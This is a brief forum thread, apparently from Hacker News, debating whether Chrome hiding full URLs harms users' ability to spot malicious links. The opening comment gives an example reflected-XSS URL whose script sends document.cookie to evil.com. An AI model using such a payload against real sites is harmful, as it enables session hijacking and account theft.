Re:Google adds experimental setting to hide full URLs in Chr...
by saagarjha on Sunday June 14, 2020 @01:51PM
(#23519682)
How about mybank.com/login?reflect=%3Cscript%3Enew%20Image().src=%22http://evil.com%22%20+%20document.cookie%3C/script%3E
[ Parent
| on HN ]
Re:Google adds experimental setting to hide full URLs in Chr...
by vntok on Sunday June 14, 2020 @02:20PM
(#23519935)
That URL is utterly indecipherable by 99.99% of Internet users, so displaying it in full does absolutely nothing to protect users.
The onus to protect against a website takeover is on the domain/server owner, certainly not on the browser vendor although they try to mitigate simple attack vectors.
edit: added a few 9s
Re:Google adds experimental setting to hide full URLs in Chr...
by takeda on Sunday June 14, 2020 @03:24PM
(#23520547)
Well, it switches that 99.99% to 100% now, so a step backwards.
They already used colors to de-emphasize other components, this doesn't look like anything else than pushing people to rely more on google search.
Re:Google adds experimental setting to hide full URLs in Chr...
by shadowgovt on Sunday June 14, 2020 @03:39PM
(#23520663)
> Well, it switches that 99.99% to 100% now, so a step backwards.
Refraining from collecting malicious links happens before you click, by the time it's in the URL bar it's already pretty late to mitigate against attacks.